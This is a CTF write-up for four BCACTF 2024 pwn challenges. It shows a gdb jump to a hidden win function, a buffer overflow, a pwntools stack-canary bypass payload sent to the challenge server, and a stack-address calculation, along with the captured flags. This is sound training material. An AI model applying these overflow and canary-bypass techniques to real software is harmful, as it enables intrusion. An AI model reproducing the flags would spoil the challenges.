BCACTF 2024 | Pwn-Writeups
pwn/Inaccessible
Challenge Description
I wrote a function to generate the flag, but don’t worry, I bet you can’t access it!
Hint
- you could reverse engineer the function, but it’s not necessary
- see if you can use any debugging tools to just call the function
Resoruces
Solution
On checking the binary, there is nothing in main() function but win() function has the flag
.
The problem is that that the main() directly terminates the program without ever referencing the win()
, so we need to find a way to access the win().
main()
win()
Win also refers to function f(), c() but we can directly get to win() function, we won’t have to reverse everything.
To achieve this, we can put a breakpoint in main()
before it terminates and jump to win
function using gdb
.
gdb ./chall
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 156 pwndbg commands and 46 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $ida GDB functions (can be used with print/break)
Reading symbols from ./chall...
(No debugging symbols found in ./chall)
------- tip of the day (disable with set show-tips off) -------
heap_config shows heap related configuration
pwndbg> info functions
All defined functions:
Non-debugging symbols:
0x00000000004003c8 _init
0x0000000000400400 puts@plt
0x0000000000400410 memset@plt
0x0000000000400420 __libc_start_main@plt
0x0000000000400430 __gmon_start__@plt
0x0000000000400440 _start
0x0000000000400470 deregister_tm_clones
0x00000000004004b0 register_tm_clones
0x00000000004004f0 __do_global_dtors_aux
0x0000000000400510 frame_dummy
0x0000000000400536 c
0x0000000000400599 f
0x00000000004005ea win
0x00000000004006b8 main
0x00000000004006d0 __libc_csu_init
0x0000000000400740 __libc_csu_fini
0x0000000000400744 _fini
pwndbg> b *main
Breakpoint 1 at 0x4006b8
pwndbg> r
Starting program: /home/sora/ctf/chall
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x00000000004006b8 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────
*RAX 0x4006b8 (main) ◂— push rbp
RBX 0x0
*RCX 0x4006d0 (__libc_csu_init) ◂— push r15
*RDX 0x7fffffffe118 —▸ 0x7fffffffe44e ◂— 'SHELL=/bin/bash'
*RDI 0x1
*RSI 0x7fffffffe108 —▸ 0x7fffffffe439 ◂— '/home/sora/ctf/chall'
*R8 0x7ffff7e1bf10 (initial+16) ◂— 0x4
*R9 0x7ffff7fc9040 (_dl_fini) ◂— endbr64
*R10 0x7ffff7fc3908 ◂— 0xd00120000000e
*R11 0x7ffff7fde660 (_dl_audit_preinit) ◂— endbr64
*R12 0x7fffffffe108 —▸ 0x7fffffffe439 ◂— '/home/sora/ctf/chall'
*R13 0x4006b8 (main) ◂— push rbp
R14 0x0
*R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0x0
*RBP 0x1
*RSP 0x7fffffffdff8 —▸ 0x7ffff7c29d90 (__libc_start_call_main+128) ◂— mov edi, eax
*RIP 0x4006b8 (main) ◂— push rbp
──────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────
► 0x4006b8 <main> push rbp
0x4006b9 <main+1> mov rbp, rsp
0x4006bc <main+4> mov edi, 0x400754
0x4006c1 <main+9> call puts@plt <puts@plt>
0x4006c6 <main+14> mov eax, 0
0x4006cb <main+19> pop rbp
0x4006cc <main+20> ret
0x4006cd nop dword ptr [rax]
0x4006d0 <__libc_csu_init> push r15
0x4006d2 <__libc_csu_init+2> mov r15d, edi
0x4006d5 <__libc_csu_init+5> push r14
────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdff8 —▸ 0x7ffff7c29d90 (__libc_start_call_main+128) ◂— mov edi, eax
01:0008│ 0x7fffffffe000 ◂— 0x0
02:0010│ 0x7fffffffe008 —▸ 0x4006b8 (main) ◂— push rbp
03:0018│ 0x7fffffffe010 ◂— 0x1ffffe0f0
04:0020│ 0x7fffffffe018 —▸ 0x7fffffffe108 —▸ 0x7fffffffe439 ◂— '/home/sora/ctf/chall'
05:0028│ 0x7fffffffe020 ◂— 0x0
06:0030│ 0x7fffffffe028 ◂— 0x764ca1f2be928942
07:0038│ 0x7fffffffe030 —▸ 0x7fffffffe108 —▸ 0x7fffffffe439 ◂— '/home/sora/ctf/chall'
──────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────
► 0 0x4006b8 main
1 0x7ffff7c29d90 __libc_start_call_main+128
2 0x7ffff7c29e40 __libc_start_main+128
3 0x400469 _start+41
─────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> jump *win
Continuing at 0x4005ea.
bcactf{W0w_Y0u_m4d3_iT_b810c453a9ac9}
[Inferior 1 (process 75259) exited with code 046]
Flag
bcactf{W0w_Y0u_m4d3_iT_b810c453a9ac9}
pwn/Juggler 1
Challenge Description
My friend here has got some issues… Mainly, he can’t stop juggling.
P.S Dockerfile is provided but not necessary for Juggler
Hint
He told me he was only good at juggling small words
Resoruces
Solution
It’s just simple buffer overflow
. Give a large string as input
and u will get the flag.
nc challs.bcactf.com 32250
P.S the juggler animation is kind of tilted so you might need to look at it sideways.
Please help me, I am the juggler, but I can't stop juggling.
aGive me something for my left hand (not too heavy though please, I injured it)
(or QUIT to quit):
> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Give me something for my right hand:
> Watch this!-----------------------------------------=--||
aaaaaaaaaaaaaaaaaaaaaaa 3----\ __
O-|---<__
aaaaaaaaaaa 3----/
-----------------------------------------=--||
3----\ __
aaaaaaaaaaa O-|---<__
aaaaaaaaaaaaaaaaaaaaaaa 3----/
-----------------------------------------=--||
aaaaaaaaaaa 3----\ __
aaaaaaaaaaaabcactf{juGGLy_Sup3R_JUgGLY_81520b089934c} O-|---<__
3----/
-----------------------------------------=--||
aaaaaaaaaaaabcactf{juGGLy_Sup3R_JUgGLY_81520b089934c} 3----\ __
O-|---<__
aaaaaaaaaaa 3----/
-----------------------------------------=--||
3----\ __
aaaaaaaaaaa O-|---<__
aaaaaaaaaaaabcactf{juGGLy_Sup3R_JUgGLY_81520b089934c} 3----/
Please help me, I am the juggler, but I can't stop juggling.
Give me something for my left hand (not too heavy though please, I injured it)
(or QUIT to quit):
> Give me something for my right hand:
>
Flag
bcactf{juGGLy_Sup3R_JUgGLY_81520b089934c}
pwn/Canary Keeper
Challenge Description
My friend gave me this executable, but it keeps giving me errors. Can you get the flag?
Resoruces
Solution
main()
check_canary()
check_flag()
This is a basic Stack Canary
chall.
All we have to do is change the value of v6 (initially FLAG)
while keeping the v5 as canary
.
Are input
is stored in v4(73 characters)
, canary
in v5(7 characters)
, and FLAG
is compared with v6(array of 8 64-bit values(or 8 characters))
.
So to bypass the canary_check
, we can input 73 char(for v4) + canary\0(for v5)
followed by flag.
\0
is added to canary as v5 is 7 char
, so last char is null byte
.
from pwn import *
r = remote('challs.bcactf.com', 32101)
payload = cyclic(73) + b"canary\0"
r.sendline(payload)
r.interactive()
Flag
bcactf{s1mple_CANaRY_9b36bd9f3fd2f}
pwn/Pwnage
Challenge Description
It’s either a bug, a hack, an exploit, or it’s pwnage.
Let this challenge stand as one of the first of many stairs to mastery over that which can only be described as pwn.
Hint
Connect using nc
aka Netcat
Resoruces
int main() {
// Hint: how do these values get stored?
void* first_var;
char* guess;
char flag[100];
load_flag(flag, 100);
puts("Welcome to the most tasmastic game of all time!");
wait_for(3);
puts("Basically it's just too simple, I've put the");
puts("flag into the memory and your job is ... to");
puts("guess where it is!!");
wait_for(2);
puts("Have fun!");
wait_for(1);
puts("Oh and before you start, I'll give you a little");
puts("hint, the address of the current stackframe I'm");
printf("in is %p\n", (&first_var)[-2]);
wait_for(3);
puts("Okay anyway, back to the game. Make your guess!");
puts("(hexadecimals only, so something like 0xA would work)");
printf("guess> ");
guess = read_pointer();
wait_for(3);
puts("Okay, prepare yourself. If you're right this");
puts("will print out the flag");
wait_for(1);
puts("Oh, and if your wrong, this might crash and");
puts("disconnect you\nGood luck!");
printf("%s\n", guess);
return 1;
}
Solution
nc challs.bcactf.com 30810
Welcome to the most tasmastic game of all time!
. . .
Basically it's just too simple, I've put the
flag into the memory and your job is ... to
guess where it is!!
. .
How fun is that!
.
Oh and before you start, I'll give you a little
hint, the address of the current stackframe I'm
in is 0x7ffda62d1c60
. . .
Okay anyway, back to the game. Make your guess!
(hexadecimals only, so something like 0xA would work)
guess>
We are intially given th addess (0x7ffda62d1c60
) for first_var-2
.
void* first_var;
char* guess;
char flag[100];
load_flag(flag, 100);
...
printf("in is %p\n", (&first_var)[-2]);
We need to guess the memory address of flag
.
If address of (first_var - 2) is x
, then address of first_var would be x+16 bytes
. Now there are 2 pointers between first_var and flag
(pointer to first_var and guess), and each pointer also take 8 bytes
, thus the total address difference bewteen (first_var - 2) and flag would be 32
(16+8+8), or 20 in hex
.
so are guess would be 0x7ffda62d1c60 + 0x20 = 0x7ffda62d1c80
guess> 0x7ffda62d1c80
. . .
Okay, prepare yourself. If you're right this
will print out the flag
.
Oh, and if your wrong, this might crash and
disconnect you
Good luck!
bcactf{0nE_two_thR3E_f0ur_567___sT3ps_t0_PwN4G3_70cc0e5edd6ea}
Flag
bcactf{0nE_two_thR3E_f0ur_567___sT3ps_t0_PwN4G3_70cc0e5edd6ea}